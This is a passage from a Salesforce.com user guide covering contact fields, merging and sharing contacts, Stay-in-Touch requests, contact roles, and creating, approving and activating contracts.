• You can merge contacts enabled to use a Customer Portal.
• The user's Community Nickname defaults to his or her email alias unless you specify otherwise. For example, if the user's
Email is “jsmith@company.com,” the user's Community Nickname defaults to “jsmith” when you click Save.

Tips on Enabling the Customer Portal for Person Accounts


Consider the following when enabling the Customer Portal for person accounts:
• You cannot delete a person account enabled to use a Customer Portal.
• You cannot import person accounts to be automatically enabled to use a Customer Portal. For more information on
importing person accounts, see Import My Person Accounts on page 321.
• Person account users cannot self-register for a Customer Portal. When person account users self-register for a Customer
Portal, they receive an email notification that instructs them to contact the portal administrator. For more information,
see Enabling Customer Portal Login and Settings on page 1440.
• You cannot merge person accounts enabled to use a Customer Portal .

See Also:
Setting Up Your Customer Portal
What is a Person Account?

Contact Fields
The available fields vary according to which Salesforce.com Edition you have.

A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

Field Description
Account Name Name of account that contact is linked to. You can enter the
account name, or select the account using the lookup icon.
Private contacts are those that do not have an account.
Allow Customer Portal Self-Registration When selected, allows contacts to self-register for access to
your Customer Portal.

1389
Contacts Contact Fields

Field Description
Assistant Name of assistant. Up to 40 characters are allowed in this
field.
Asst. Phone Assistant’s phone number. Up to 40 characters are allowed in
this field.
Birthdate Birthday. You can enter a date, or choose a date from the
calendar that displays when you put your cursor in the field.
Contact Currency The default currency for all currency amount fields in the
contact. Amounts are displayed in the contact currency, and
are also converted to the user’s personal currency. Available
only for organizations that use multiple currencies.
Contact Division
Division to which the contact belongs. This value is
automatically inherited from the related account.
Available only in organizations that use divisions to segment
their data.

Contact Owner Assigned owner of contact. Not available in Personal Edition.


Contact Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Editions.
Created By User who created the contact including creation date and time.
(Read only)
Department Associated business or organizational unit. Up to 80 characters
are allowed in this field.
Description Description of contact. Up to 32 KB of data are allowed in
this field. Only the first 255 characters display in reports.
Do Not Call Indicates if the person does not want to be contacted via
telephone.
Email Email address. Must be a valid email address in the form:
jsmith@acme.com. Up to 80 characters are allowed in this
field.
Click the email address in this field to send an email using
your personal email application. This type of email is not
logged as an activity on the contact record.
If the Gmail Buttons and Links feature is enabled, you can
click the Gmail link next to the field to send an email from
your Gmail account. See Using Gmail in Salesforce.com on
page 2033 for more information.

Email Opt Out The person's email address will not be included in mass emails.

1390
Contacts Contact Fields

Field Description
Fax Contact’s fax number. Up to 40 characters are allowed in this
field.
Fax Opt Out Indicates if the person has requested not to be included in
broadcast faxes.
First Name First name of the contact, as displayed on the contact edit
page. Up to 40 characters are allowed in this field.
First Name (Local) First name of the contact translated into the local language.
Home Phone Person’s home phone number. Up to 40 characters are allowed
in this field.
Last Name Last name of the contact, as displayed on the contact edit
page. Up to 80 characters are allowed in this field.
Last Name (Local) Last name of the contact translated into the local language.
Last Stay-in-Touch Request Date The date that the most recent Stay-in-Touch request was sent.
Last Stay-in-Touch Save Date The date that the most recent Stay-in-Touch request was
returned and merged.
Lead Source Record source, for example, Advertisement, Partner, or Web.
Entry is selected from a picklist of available values, which are
set by an administrator. Each picklist value can have up to 40
characters.
Mailing Street Street mailing address. Up to 255 characters are allowed in
this field.
Mailing City City portion of mailing address. Up to 40 characters are
allowed in this field.
Mailing State/Province State or province portion of mailing address. Up to 20
characters are allowed in this field.
Mailing Zip/Postal Code Zip or postal code portion of mailing address. Up to 20
characters are allowed in this field.
Mailing Country Country portion of mailing address. Up to 40 characters are
allowed in this field.
Mobile Cellular or mobile phone number. Up to 40 characters are
allowed in this field.
Modified By User who last changed the contact fields, including
modification date and time. This does not track changes made
to any of the related list items on the contact. (Read only)
Name Combined first and last name of contact, as displayed on the
contact detail page.
Other Street Street address portion of additional address. Up to 255
characters are allowed in this field.

1391
Contacts Contact Fields

Field Description
Other City City portion of additional address. Up to 40 characters are
allowed in this field.
Other State/Province State or province portion of additional address. Up to 20
characters are allowed in this field.
Other Zip/Postal Code Zip or postal code portion of additional address. Up to 20
characters are allowed in this field.
Other Country Country portion of additional address. Up to 40 characters
are allowed in this field.
Other Phone Additional phone number listing. Up to 40 characters are
allowed in this field.
Phone Contact’s primary phone number. Up to 40 characters are
allowed in this field.
Reports To Name of contact’s manager. You can enter an existing contact
name, or select the contact using the lookup icon.
Salutation Title for addressing the person, for example, Mr., Ms., Dr.,
or Prof. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.
Title Person's position within his or her organization. Up to 80
characters are allowed in this field.
Custom Links Listing of custom links for contacts as set up by your
administrator.
Username For Self-Service contacts only. The Username defaults to the
Email. The contact must enter their username when logging
in to the Self-Service portal.

See Also:
Displaying and Editing Contacts
Creating Contacts
Cloning Contacts

1392
Contacts Displaying Contact Hierarchy

Displaying Contact Hierarchy


Available in: All Editions

User Permissions Needed


To view org chart: “Read” on contacts
To change org chart: “Edit” on contacts

To display an organization chart, enter the name of the contact’s manager in the Reports To field for each contact in the
account. Then, click the [View Org Chart] link on any contact in the account. Salesforce.com displays an organization chart
showing the contact hierarchy with the direct reports for each contact you entered.
Note:
To maintain a complete organization chart, make sure every contact in an account contains another contact in the
Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one
contact in an account reports to no one, that account will have a single organization chart for the entire account.
Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.

Merging Duplicate Contacts


Available in: All Editions
Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To merge contacts: “Delete” on contacts
To merge Customer Portal enabled contacts:
“Delete” on contacts
AND
“Edit Self-Service Users”
To merge partner portal enabled contacts: “Delete” on contacts
AND
“Manage Partners”

To merge duplicate contacts associated with a common account:

1393
Contacts Merging Duplicate Contacts

1. From the Contacts related list of an account, click Merge Contacts.


2. Check the rows of up to three contacts you want to merge. You can search the list of associated contacts to shorten the
list, or click All Contacts to view the full list of associated contacts. Click Next to continue.
3. Select one contact as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the “Edit Read Only Fields” permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed.
4. Select the partner portal or Customer Portal user you want to retain.
This option is only available if a partner portal or Customer Portal is enabled for your organization.
You can select Not a portal user so that a merged contact does not include a portal user.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in purple.
6. Click the Merge button to complete the merge.

Tips for Merging Contacts


Consider the following when merging contacts:
• Any related items from any of the duplicate contacts will be associated with the merged contact.
• If you are merging duplicate contacts that are members of different campaigns, the campaign Member Status Updated
date for each contact is retained and associated with the newly merged contact.
• Before merging contacts that both have active Self-Service usernames, deactivate one Self-Service username. The merged
record will adopt the active Self-Service username.
• Any account sharing and manual sharing for the master contact are applied to the newly merged contact.
• When you merge contacts that have Reports To relationships, the newly merged contact retains the Reports To field
from the selected Master Record.
• All discarded duplicate records are moved to the Recycle Bin.
• The newly merged contact displays the Created By date from the oldest contact you are merging, and shows the merge
date as the Modified By date.
• In organizations that use divisions, the merged contact is assigned to the division of the related account.
• Merging contacts is not tracked in the setup audit trail.
• You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization
role hierarchy, and if you have the appropriate user permission.
• The newly merged contact is automatically included on any case teams in which the contacts were associated.

Tips for Merging Contacts with Portal Users


Consider the following when merging contacts associated with portal users:
• The information in Tips for Merging Contacts also applies to merging contacts associated with portals users.
• You can merge a portal contact record with another portal contact. For example, you can merge contacts enabled to use:
- A partner portal or Customer Portal.
- A partner portal with contacts enabled to use a Customer Portal or vice-versa.
- A partner portal or Customer Portal with contacts that are not enabled to use a portal.

• When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal
user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the
contact for access to the portal from which you removed during the merge process.
• To merge contacts associated with various accounts:

1394
Contacts Sharing Contacts

1. Transfer the contacts you want to merge into one account.


2. Merge the contacts associated with the common account.

• Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For
example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case
is updated with a new owner.

See Also:
Merging Duplicate Accounts
Enabling the Customer Portal for Contacts and Person Accounts
Creating Partner Users

Sharing Contacts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges
for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict
access beyond your organization's default access levels.
To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the contact. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Special Considerations
• Make sure you are sharing records with users who have the appropriate “Read” object permission on their profiles for
viewing the shared records.
• You cannot manually share a private contact (a contact without an account).
• If you have permission to share an account, Salesforce.com automatically provides “Read” access to the associated account
when granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to
the account, you cannot share the contact unless you have permission to share the account as well.
• If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
• Contact sharing is not available for organizations that have territory management or person accounts.
- If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled
by Parent and is not editable.

1395
Contacts Sending Stay-in-Touch Requests

- If your organization does not have person accounts yet you want to enable one of them, set your organization-wide
default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

See Also:
Granting Access to Records
Viewing Which Users Have Access

Sending Stay-in-Touch Requests


Available in: All Editions

User Permissions Needed


To request updates: “Send Stay-in-Touch Requests”

A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch
requests. You can request updates from:

• Contacts you own


• Contacts associated with accounts you own
• Contacts you can edit due to a sharing rule or manual record sharing
• Person accounts you own

Note: The record must have a valid email address.

How it works:
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity
History related list.
2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported. Click Send to send the email.
3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary.
4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information.

1396
Contacts Sending Stay-in-Touch Requests

Note: To send individual Stay-in-Touch requests, you must have the “Send Email” permission. You can send individual
Stay-in-Touch requests regardless of the recipient’s Email Opt Out setting.

See Also:
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Mass Stay-in-Touch Update
What is a Person Account?

Merging Updated Contact Information


When someone responds to a Stay-in-Touch request, you will receive an email that contains a link. To merge the new
information into Salesforce.com:

1. Click Update Now from the email you receive.


2. Review the new and original values.
3. Click Accept Changes to save the new data. Click Reject Changes to ignore the updates and retain the original values.

Note: These updates do not trigger workflow rules.

See Also:
Sending Stay-in-Touch Requests

Mass Stay-in-Touch Update


Available in: All Editions

User Permissions Needed


To send mass Stay-in-Touch updates: “Send Email”
AND
“Send Stay-in-Touch Requests”

Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts
simultaneously.
To send a mass Stay-in-Touch email:

1. On the contacts home page, click Mass Stay-in-Touch from the Tools section.

1397
Contacts Deleting Contacts

If your organization uses person accounts, the link also appears on the accounts home page.
2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit
existing list views and create new list views.
3. Click Go.
4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected.
Click Next to continue.
5. Review the email to be sent and click Send.

Recipients can reply to you via email with their latest information. You can merge these updates as you receive them.
Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send
mass emails to them.

See Also:
Sending Stay-in-Touch Requests
Editing Stay-in-Touch Settings
Merging Updated Contact Information

Deleting Contacts
Available in: All Editions

User Permissions Needed


To delete contacts: “Delete” on contacts

To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You
can also delete a contact by clicking Delete on the contact detail page.
When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do
not need the “Delete” permission on any associated records that are included in the deletion. Associated opportunities, accounts,
and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the contact, any
related items are also restored including any inactive Self-Service username.
You cannot delete contacts that have associated:

• Cases
• Contracts
• Partner user
• Assets with cases
• An active Self-Service user
• An active Customer Portal user

1398
Contacts Searching for Contacts

Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in
the organization role hierarchy, and if you have the appropriate user permission.

See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Contacts

Searching for Contacts


Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts
To view person accounts: “Read” on accounts and contacts

To find specific contacts:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
If you are using local contact names, a search finds matches for either the standard contact names or local contact names.
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
You can also create a contact list view to locate contacts that match specific criteria.

See Also:
What is a Person Account?

1399
CONTACT ROLES

Contact Roles Overview


Available in: All Editions

A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For
example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can
assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and
person accounts can have different contact roles on various accounts, cases, contracts, or opportunities.
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
Note: Users must have the appropriate user permissions and sharing access to view the contact information for any
person listed in the appropriate contact roles related lists.

See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?

Viewing and Editing Contact Roles


Available in: All Editions

User Permissions Needed


To view contact roles: “Read” on accounts, cases, contracts, or opportunities
To edit contact roles: “Edit” on the related object, such as accounts, cases, contracts,
or opportunities
AND
“Read” on contacts

The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.

1400
Contact Roles Adding Contact Roles

• To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding
Contact Roles on page 1401.
• To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email
on page 1525. If a contact role does not have an email address specified on his or her contact record, the contact is not
included in the email.
• To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes.
• To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact
role entry, and select the Primary option.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.

• To delete a contact role, click Del next to the contact role you want to delete.
• To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person
account.

See Also:
Contact Roles Overview
Adding Contact Roles
Contact Role Fields
What is a Person Account?

Adding Contact Roles


Available in: All Editions

User Permissions Needed


To add contact roles: “Edit” on the related object, such as accounts, cases, contracts,
or opportunities
AND
“Read” on contacts

To assign a contact role to a contact or person account:

1. Click New in the Contact Roles related list of an account, case, contract, or opportunity.
2. Click the lookup icon to select a contact or person account. Optionally, click New to create a new contact.
When you add or edit contact roles on an opportunity that is associated with a business account, the page automatically
displays the contacts for that business account. If the business account has more than 50 contacts, the contacts are not
automatically displayed, and you must use the lookup icon to select a contact.
3. Choose a role.
4. Optionally, select Primary to set the contact or person account as primary for the account, contract, or opportunity.

1401
Contact Roles Contact Role Fields

Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.

5. Click Save.

When you create an opportunity from a contact detail page, that contact automatically becomes the primary contact on the
opportunity. However, a contact role is not automatically assigned.
Tip: Adding person accounts in contact roles on accounts is available but not recommended. As a best practice, we
recommend using the Partners related list to associate person accounts with other accounts.

See Also:
Contact Roles Overview
Viewing and Editing Contact Roles
Contact Role Fields
What is a Person Account?

Contact Role Fields


Available in: All Editions

A contact role has the following fields, listed in alphabetical order.

Field Description
Contact Name of contact or person account. You can use the lookup
icon to either select someone or create a contact.
Primary Option that specifies the contact or person account as primary
for the record.
Note that on case contact roles, the Primary option is not
available. The primary contact on a case is always the contact
listed under Contact Name in the Case Detail section.

Role Participating role in the account, case, contract, or opportunity,


for example, Buyer, Decision Maker, or Evaluator. (Selections
for this picklist can be customized by your administrator.)

See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?

1402
CONTRACTS

Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing
business with other companies.
Use Salesforce.com to establish and document the contracts you have with your accounts. Then, track the contract through
your organization’s approval process and use workflow alerts to notify yourself when to initiate contract renewals.

Displaying The Contracts Tab


The Contracts tab is automatically displayed for all users. If your Contracts tab is not visible, you can customize your display
to show it. For more information, see Customizing Your Display on page 59.

See Also:
Contracts Home
Administrator tip sheet: Getting Started with Contracts

Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Contracts tab: “Read” on contracts
To view contracts: “Read” on contracts
To create contracts: “Create” on contracts
AND
“Read” on accounts

Click the Contracts tab to display the contracts home page.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts
matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name
displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links
to change the number of items that display. The fields you see are determined by the “Contracts Tab” search layout defined

1403
Contracts Contracts Home

by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions
only). The Recent Contracts options are:

Recent Contracts Choice Description


Recently Created The last ten or twenty-five contracts you created, with the
most recently created contract listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five contracts you updated, with the
most recently updated contract listed first. This list only
includes records owned by you.
Recently Viewed The last ten or twenty-five contracts you viewed, with the
most recently viewed contract listed first. This list is derived
from your recent items and includes records owned by you
and other users.
Approval Pending The last ten or twenty-five contracts that have at least one
approval request awaiting your approval. This list includes
records owned by you and other users.

• In the Recent Contracts section, click New to create a new contract.

See Also:
Contracts Overview
Cloning Contracts
Deleting Contracts
Creating Custom List Views
Displaying and Editing Contracts
Creating Contracts

1404
Contracts Viewing Contract Lists

Viewing Contract Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contract lists: “Read” on contracts
To create contracts: “Create” on contracts
AND
“Read“ on accounts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The contracts list page displays a list of contracts that match your current view. From this page, you can view detailed contract
information and access related information.

• Click a contract number to view the detail. Click Edit or Del to edit or delete a contract. See Displaying and Editing
Contracts on page 1406.
• Choose a predefined view from the drop-down list to display a list of contracts. Alternatively, you can click Create New
View to define your own list view. See Creating Custom List Views on page 1691.
• Click Printable View to display the current list view in a format that is ready for printing.
• Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract. These options
display only if you have the “Create” permission on contracts. See Creating Contracts on page 1408.
• Click any column heading to sort the contracts in ascending order using that column's information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contracts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

See Also:
Displaying and Editing Contracts
Creating Contracts
Deleting Contracts
Enabling the Customer Portal for Contacts and Person Accounts
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

1405
Contracts Displaying and Editing Contracts

Displaying and Editing Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts
To change contracts: “Edit” on contracts
AND
“Read” on accounts

To change activated contracts: “Activate Contracts”

Displaying Contracts
Once you have located a contract on the contracts home or list pages, click the contract number to display detailed
information. From an account, click the contract number in the Contracts related list to display the contract. All contracts
associated with the account are listed in the Contracts related list.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

Editing Contracts
To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click
Save. You can also select Save & New to save the current contract and create another. Users with the “Edit” permission
on contracts can edit contracts until they are activated.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Contacts
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Contract Related Lists


The lower portion of the display provides a snapshot of key information relating to the contract. The related lists you
see are determined by your personal customization and by any customization your administrator has made to page layouts
or your permissions to view related data. You can click on individual items to display additional detail. Click more at
the bottom of the page or View More below a related list to display more items. Click New to directly add new items.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

1406
Contracts Displaying and Editing Contracts

Printing Contracts
To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of the contracts detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 42.

See Also:
Contract Approval Requests
Contract History
Contract Fields
Creating Contracts
Cloning Contracts
Deleting Contracts
Searching for Contracts

Contract Approval Requests


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays
information about each approval request and includes the status and any approve or reject comments. When the status is
Pending, no comment is included.

See Also:
Approving Contracts

Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval
Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the
contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and
who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information
about setting up which fields are tracked, see Tracking Field History on page 457.

1407
Contracts Creating Contracts

Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts
To create contracts: “Create” on contracts
AND
“Read” on accounts

You must have at least read access to an account in order to associate a contract with it. To create a contract:

1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts
home page. Select an Account Name to associate the new contract with that account.
Alternatively, view the account record first and click New in the Contracts related list.
2. Choose a contract status.
3. Enter the start date of the contract.
4. Enter the number of months that the new contract will be in effect.
Note: Your administrator may have configured Salesforce.com to calculate Contract End Date based on
Contract Start Date and Contract Term. If Contract End Date is auto-calculated, it will not display
on the contracts edit page.

5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 1409.
6. Click Save.

The contract is listed under the Contracts related list of the account.
Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record
Type when creating a record. This determines the picklist values and status values available when creating and editing a record.
For instructions on enabling record types for contracts, see Managing Record Types on page 611.
If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.

See Also:
Cloning Contracts
Contract Fields
Contracts Home
Deleting Contracts

1408
Contracts Cloning Contracts

Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts
To clone contracts: “Create” on contracts
AND
“Read” on accounts

The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example,
you can add multiple contracts for the same account.
Click Clone on an existing contract. Enter or change any information for the new contract and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contract Fields
Deleting Contracts

Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

Field Description
Account Name Name of account associated with the contract.
Activated By Name of the person that activated the contract.
Activated Date Activation date of the contract.
Billing Street Street address used for billing. Up to 255 characters are allowed
in this field.

1409
Contracts Contract Fields

Field Description
Billing City City portion of billing address. Up to 40 characters are allowed
in this field.
Billing State/Province State or province portion of billing address. Up to 20 characters
are allowed in this field.
Billing Zip/Postal Code Zip or postal code portion of billing address. Up to 20
characters are allowed in this field.
Billing Country Country portion of billing address. Up to 40 characters are
allowed in this field.
Company Signed By User at your organization who authorized the contract.
Company Signed Date Date that the contract was authorized.
Contract Division Division to which the contract belongs. This value is
automatically inherited from the related account. Available
only in organizations that use divisions to segment their data.
Contract End Date Last day the contract is in effect. Your administrator can
configure Salesforce.com to calculate Contract End Date
based on Contract Start Date and Contract Term.
If this field is auto-calculated, it will not display on the
contracts edit page.
Contract Name Title for the contract that distinguishes it from other contracts.
Contract Number Unique number automatically assigned to the contract.
Numbering for contracts starts at “100.” (Read only)
Administrators can modify the format and numbering for this
field. See Modifying Standard Auto-Number Fields on page
422.
Contract Owner User who owns the contract record.
Contract Start Date First day that the contract is in effect.
Contract Term (months) Number of months that the contract is in effect.
Created By User who created the contract record.
Customer Signed By Contact on the account that authorized the contract.
Customer Signed Date Date the contact signed the contract.
Customer Signed Title Title of the contact who signed the contract.
Description Statement describing the contract.
Last Modified By User who most recently changed the contract record.
Owner Expiration Notice Number of days before the contract end date you want to send
the notification, if the contract owner and account owner
wants to be notified of an upcoming contract expiration.

1410
Contracts Contract Fields

Field Description
Shipping Street Primary mailing or shipping street address of account. Up to
255 characters are allowed in this field.
Shipping City City portion of primary mailing or shipping address. Up to
40 characters are allowed in this field.
Shipping State/Province State or province portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Country Country portion of primary mailing or shipping address. Up
to 40 characters are allowed in this field.
Special Terms Any terms that you have specifically agreed to and want to
track in the contract.
Status Indicates the stage that the contract has reached in the contract
business process. Your organization can add values to this
picklist within three system-defined contract status categories:
Draft, In Approval Process, and Activated. You
can use these status categories to track contracts within your
business process using reports and views.
Important: The Status field cannot be updated by
approval processes. If you want to use the contract
status as part of an approval process, Salesforce.com
recommends creating a custom status field.

Custom Links Listing of custom links for contracts set up by your


administrator.

See Also:
Displaying and Editing Contracts
Creating Contracts
Cloning Contracts

1411
Contracts Approving Contracts

Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To approve contracts: “Approve Contracts”

Your organization may already have a process for approving contracts. For example, you may have one person designated for
each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce.com
administrator can customize Salesforce.com to give the appropriate people the permissions they need to perform their part of
the contract life-cycle.
Before you begin customizing Salesforce.com, define the life-cycle of a contract in your organization. Use the following basic
contract approval process to get started:

1. A user creates a contract. This user needs to have the “Edit” permission on contracts. All newly created contracts have a
Draft status.
2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on
a contract changes its status to In Approval Process.
3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the
contract and submit another approval request. The status remains In Approval Process whether the approval request was
accepted or rejected.
4. If accepted, a contract administrator activates the contract. Users with the “Activate Contracts” permission can activate a
contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated
contracts cannot be changed and only users with the “Delete Activated Contracts” permission can delete a contract with
Activated status.

Sending Approval Requests


To send an approval request for a contract:
1. Select the contract.
2. Click New in the Approval Requests related list.
3. Select the person you want to receive the approval request.
4. Enter any request comments, up to 4,000 characters.
5. Click Save. Salesforce.com sends an email approval request to the recipient you selected. The recipient can click a link in
the email to view the contract and click Approve to accept the contract or Reject to return the approval request. All approval
requests are tracked in the Approval Request related list.

Receiving Approval Requests


Use the Approval Pending list on the contracts home page to view all the contracts that require your approval. When you
receive an email approval request, click the included link to view the contract.
• Click Approve to accept the contract as is and notify the contract owner that the request is approved. You will be prompted
to select an approval request status and enter any approval request comments, up to 4,000 characters. Click Save to send
and save the approval request.

1412
Contracts Activating Contracts

• Click Reject to return the approval request. Select an approval request status and enter any comments, up to 4,000 characters,
that you want attached to the approval request. Click Save to send your response and save the approval request.
Note: You can use the standard contracts approval functionality alone or together with approval processes.
The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce.com recommends creating a custom status field.

See Also:
Activating Contracts
Displaying and Editing Contracts
Creating Contracts

Activating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To activate contracts: “Activate Contracts”
AND
“Read” and “Edit” on contracts

Administrators and users with the “Activate Contracts” permission can activate contracts. To edit an activated contract, a user
must have the “Activate Contracts” permission.
Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot
be changed and only users with the “Delete Activated Contracts” permission can delete a contract with Activated status. To
activate a contract:

1. Select the contract you want to activate.


2. Click Activate. The status of an activated contract is “Activated.”

See Also:
Approving Contracts
Displaying and Editing Contracts

1413
Contracts Deleting Contracts

Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete inactivated contracts: “Delete” on contracts
AND
